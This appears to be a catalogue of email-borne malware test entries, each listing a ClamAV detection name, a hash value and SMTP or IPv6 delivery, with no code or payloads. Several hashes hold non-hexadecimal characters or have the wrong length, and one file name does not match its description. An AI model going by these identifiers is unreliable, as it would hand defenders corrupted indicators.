Detailed Description:	This is the email virus Worm.Futonik as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 11b9bdcf7a7f40c0a0892d3ac8caabc9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.60cacd41.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 60cacd41cab8eef0609c1elf8715636d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Soda.56a183ab.xml
Executive Description:	Email Virus Worm.Soda
Detailed Description:	This is the email virus Worm.Soda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 56a183abf5b62d02c9842661648233a0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.5d796596.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d7965963964d4b1ea73cf73da8b3e6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Brit.g.g.63217616_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Brit.g.g (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Brit.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Brit.g.g. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zokrim.a.8d77fad4.xml
Executive Description:	Email Virus Worm.Zokrim.a
Detailed Description:	This is the email virus Worm.Zokrim.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8d77fad471e9580d6f5ac5339c379c4a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.4ac7ab17_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4ac7ab17eed48c05dd23ba55f009150e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Siney.B.39c69154_IPv6.xml
Executive Description:	Email Virus Worm.Siney.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Siney.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 39c6915439c84849f3439bbf70cade4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Loding.b.a4dc18d1_IPv6.xml
Executive Description:	Email Virus Worm.Loding.b (IPv6 Version)

Detailed Description:	This is the email virus Worm.Loding.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a4dc18d14a4e5b22405ace1cd716368. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Luna.C.d4784029.xml
Executive Description:	Email Virus Worm.Luna.C
Detailed Description:	This is the email virus Worm.Luna.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d478402929eb228478414de8d78e5cd3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Nobelman.A.967d561b_IPv6.xml
Executive Description:	Email Virus VBS.Nobelman.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.Nobelman.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 967d561b178564aae1604658987ac213. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Dumaru.p.p.7a645ce9.xml
Executive Description:	Email Virus Email-Worm.Win32.Dumaru.p.p
Detailed Description:	This is the email virus Email-Worm.Win32.Dumaru.p.p as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Dumaru.p.p. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Navidad.B.be461c9e_IPv6.xml
Executive Description:	Email Virus W32.Navidad.B (IPv6 Version)
Detailed Description:	This is the email virus W32.Navidad.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: be461c9e4474e5931e0ff74931397f32. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Backdoor.Rustock.B.111d19b6.xml
Executive Description:	Email Virus Backdoor.Rustock.B
Detailed Description:	This is the email virus Backdoor.Rustock.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 111d19b60ae921ac90c2b73c2afel8e0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Fintas.c.c.6f3c6e4f.xml
Executive Description:	Email Virus Email-Worm.Win32.Fintas.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Fintas.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Fintas.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Bat.Camile.b7de570b.xml
Executive Description:	Email Virus Bat.Camile
Detailed Description:	This is the email virus Bat.Camile as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b7de570bb0191d8278caf8b0770b0849. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.generic.90ea68c2_IPv6.xml
Executive Description:	Email Virus Worm.generic (IPv6 Version)
Detailed Description:	This is the email virus Worm.generic as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 90ea68c2e28c3e977fe504602c7e53b6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hotlix.eeb26ae0.xml
Executive Description:	Email Virus Worm.Hotlix
Detailed Description:	This is the email virus Worm.Hotlix as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eeb26ae0543621d8fb6565fblc2ae02f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Clown.a.702524dd.xml
Executive Description:	Email Virus Worm.Clown.a
Detailed Description:	This is the email virus Worm.Clown.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 702524dde7aaed1f063414f7aa020ad7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MyPics.c.8239dab4_IPv6.xml

Executive Description:	Email Virus Worm.MyPics.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8239dab452e3c9e4404e6a5c056ab49a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BAT.BWG.J.236d0906_IPv6.xml
Executive Description:	Email Virus BAT.BWG.J (IPv6 Version)
Detailed Description:	This is the email virus BAT.BWG.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 236d09062b36b2ee2ac6fe3edfcd42da. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.a.36d7db58_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36d7db58c1a839cd7929100aaf489ae7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.f.f.c444552e_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.f.f (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.f.f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Rayman.blb65950.xml
Executive Description:	Email Virus Worm.Rayman
Detailed Description:	This is the email virus Worm.Rayman as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: blb659508a4288ael278adbaea88dbd3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.82e8971d_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 82e8971dlf99e97cd2c647edb4e3656c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.a2769d93.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a2769d93fb255b3ae63b79dd6bffe0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-1.58f05e95.xml
Executive Description:	Email Virus Worm.Bagle.Gen-1
Detailed Description:	This is the email virus Worm.Bagle.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 58f05e9519b3bd825fd6af936f4b2aed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Dumaru.A.66ca6fb3_IPv6.xml
Executive Description:	Email Virus Worm.Dumaru.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Dumaru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 66ca6fb3ad95dfe0e637d7d8da07fa20. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.O.2.0a65e532.xml
Executive Description:	Email Virus Worm.Lovgate.O.2
Detailed Description:	This is the email virus Worm.Lovgate.O.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0a65e53245bf47984a0bebacce80e8a6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W95.Hybris.PI.003.2fd23ba7_IPv6.xml
Executive Description:	Email Virus W95.Hybris.PI.003 (IPv6 Version)
Detailed Description:	This is the email virus W95.Hybris.PI.003 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2fd23ba777b1fad62b6eaab93772214a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	VBS.SSIWG.948173af_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 948173afec9a719966160ec12de05bd3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zeam.b90df190_IPv6.xml
Executive Description:	Email Virus Worm.Zeam (IPv6 Version)
Detailed Description:	This is the email virus Worm.Zeam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b90df190ebbcbb96edee146d1fb977. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Trillissa.D.17c39533.xml
Executive Description:	Email Virus Worm.Trillissa.D
Detailed Description:	This is the email virus Worm.Trillissa.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17c395331b882460b5c7f08d81c7b0e4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zircon.e.e.30c5e0b4_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Zircon.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Zircon.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zircon.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Bat.Bomgen.6d9ae551.xml
Executive Description:	Email Virus Bat.Bomgen
Detailed Description:	This is the email virus Bat.Bomgen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6d9ae55160863a46cdb5c6d57f186fd7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcaul.v.922f647d_IPv6.xml
Executive Description:	Email Virus Worm.Alcaul.v (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcaul.v as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 922f647d186d67a4c2fe754b35066fb2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lee.K2.d3325123.xml
Executive Description:	Email Virus Worm.Lee.K2
Detailed Description:	This is the email virus Worm.Lee.K2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d3325123583523850e5c5638189200bf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sober.C1.b6af0985.xml
Executive Description:	Email Virus Worm.Sober.C1
Detailed Description:	This is the email virus Worm.Sober.C1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b6af0985e315575693d85faadbeedcb4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Backdoor.Rustock.B.28a56f3a.xml
Executive Description:	Email Virus Backdoor.Rustock.B
Detailed Description:	This is the email virus Backdoor.Rustock.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 28a56f3a53ca91e85185bb28541b43b7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Whitehome.0e5b4f5c.xml
Executive Description:	Email Virus Worm.Whitehome
Detailed Description:	This is the email virus Worm.Whitehome as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0e5b4f5c8474dcd48049fa33b775e3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Along.3689e77a_IPv6.xml
Executive Description:	Email Virus Worm.Along (IPv6 Version)
Detailed Description:	This is the email virus Worm.Along as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3689e77a677f01d15dd352143ael376b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.VBS.Ymale.4f4acb65.xml
Executive Description:	Email Virus Worm.VBS.Ymale
Detailed Description:	This is the email virus Worm.VBS.Ymale as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4f4acb65efd63e4855a307993a7bda57. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sonic.27.260dfd03.xml
Executive Description:	Email Virus Worm.Sonic.27
Detailed Description:	This is the email virus Worm.Sonic.27 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 260dfd03e00784e9e83b59fb3d3ff15e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Mari.c.c.be0d3918_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Mari.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Mari.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Mari.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.2b4261bc.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2b4261bcdff2eb222lec9320f3dfoec3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Mixor.q.4adf7a37.xml
Executive Description:	Email Virus Worm.Yoxec
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 171f0d0206fa49db9ed3c700356f7853. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.AH.e62f2456.xml
Executive Description:	Email Virus Worm.Lovgate.AH
Detailed Description:	This is the email virus Worm.Lovgate.AH as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e62f24566081231484ff3791eb59bdf6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Lowjo.C.ff8153d5_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Lowjo.C (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Lowjo.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ff8153d5968093a6da78c370ac57a8fe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Zimac.zim.ca0e8fde_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Zimac.zim (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Zimac.zim as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Zimac.zim. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sabia.97dcff7b_IPv6.xml
Executive Description:	Email Virus Worm.Sabia (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sabia as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97dcff7b176835b15427b15a73c6448c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SST-A.3.03842f6c_IPv6.xml
Executive Description:	Email Virus VBS.SST-A.3 (IPv6 Version)
Detailed Description:	This is the email virus VBS.SST-A.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 03842f6c7eba04b06bcf54a9bc54ec9c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Youdgos.a.8ac2c92e.xml
Executive Description:	Email Virus Worm.Youdgos.a
Detailed Description:	This is the email virus Worm.Youdgos.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8ac2c92e158d1fa25a67ad88239abb0c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Repah.a.d19bbffc_IPv6.xml
Executive Description:	Email Virus Worm.Repah.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Repah.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d19bbffc3706ea903d94282cf72fcc67. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heather.3925747a_IPv6.xml
Executive Description:	Email Virus Worm.Heather (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heather as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3925747aac20edc1c442cc8fd2720654. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Injust.2f9f8d89_IPv6.xml
Executive Description:	Email Virus Worm.Injust (IPv6 Version)
Detailed Description:	This is the email virus Worm.Injust as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2f9f8d89613dd052475bd9aec8bb186b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Funny.8a0f69cb.xml
Executive Description:	Email Virus Worm.Funny
Detailed Description:	This is the email virus Worm.Funny as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8a0f69cb1c54563c12d381b6ec21820c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.bled76c6.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bled76c639429a8645419d29fae6d3c4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Reg.6bad8d09_IPv6.xml
Executive Description:	Email Virus Worm.Reg (IPv6 Version)
Detailed Description:	This is the email virus Worm.Reg as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6bad8d097f96a98b45acd13edcf84330. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Enviar.7e2f37ef_IPv6.xml
Executive Description:	Email Virus Worm.Enviar (IPv6 Version)
Detailed Description:	This is the email virus Worm.Enviar as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7e2f37ef4c3ac91b50c215241dedb169. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.e420cc7e.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e420cc7e10ec15d50b2045644ff70337. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Banof.ban.00cf080a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Banof.ban (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Banof.ban as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Banof.ban. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Crist.A.68e77e71.xml
Executive Description:	Email Virus Worm.Crist.A
Detailed Description:	This is the email virus Worm.Crist.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68e77e719d29b891e6222953fb6a0f0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.9eb1cfeb.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9eb1cfebdf3bfec30fbd51142edb1612. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.M.d93a6fa8_IPv6.xml
Executive Description:	Email Virus VBS.PicaWorm.M (IPv6 Version)
Detailed Description:	This is the email virus VBS.PicaWorm.M as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d93a6fa876a50af2b2d43021ec6533c8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcobul.b.7336765d_IPv6.xml
Executive Description:	Email Virus Worm.Alcobul.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcobul.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7336765dbbd99cd7832b33ee406e997c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.60cacd41_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 60cacd41cab8eef0609c1elf8715636d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Newpic.c.c.22d01826.xml
Executive Description:	Email Virus Email-Worm.Win32.Newpic.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Newpic.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Newpic.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Happy99.SKA.02dd0eaa_IPv6.xml
Executive Description:	Email Virus Trojan.Happy99.SKA (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Happy99.SKA as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 02dd0eaa9649a11e55fa5467fa4b8ef8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Skudex.8102e9ee.xml
Executive Description:	Email Virus Worm.Skudex
Detailed Description:	This is the email virus Worm.Skudex as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8102e9ee3fa5038d78e615fcfaf31e8b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Corad.6e2fb08c.xml
Executive Description:	Email Virus Worm.Corad
Detailed Description:	This is the email virus Worm.Corad as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6e2fb08ccfc60716348502140a02867f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-dll.e65d7ab6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-dll
Detailed Description:	This is the email virus Worm.Bagle.Gen-dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e65d7ab639a2361493d388e36d1e663a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Janu.662a8c1f_IPv6.xml
Executive Description:	Email Virus Worm.Janu (IPv6 Version)
Detailed Description:	This is the email virus Worm.Janu as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 662a8c1ffdbb09ed77bd481c4f571bb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Yoyks.b.b.ddfee83b.xml
Executive Description:	Email Virus Email-Worm.Win32.Yoyks.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Yoyks.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Yoyks.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Fundll.218fe324_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Fundll (IPv6 Version)

Detailed Description:	This is the email virus Worm.VBS.Fundll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 218fe3248d7fe56749c00af8b4b7ea97. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.KakWorm.D.367615d2.xml
Executive Description:	Email Virus Worm.KakWorm.D
Detailed Description:	This is the email virus Worm.KakWorm.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 367615d20f130b343a49344367b5e8b7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Maldal.c.86e97dd2.xml
Executive Description:	Email Virus Worm.Maldal.c
Detailed Description:	This is the email virus Worm.Maldal.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 86e97dd2a19e369c5f601a8952762637. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.333fd91e_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 333fd91ed4597e4435ef7902dc846422. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BI.aef7e1c1.xml
Executive Description:	Email Virus Worm.LoveLetter.BI
Detailed Description:	This is the email virus Worm.LoveLetter.BI as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aef7e1c107b9b6a2be956130907adc53. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.a274ae97.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a274ae978b9b9ce9efa04123b69737285. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sonic.55.ca569c37.xml
Executive Description:	Email Virus Worm.Sonic.55
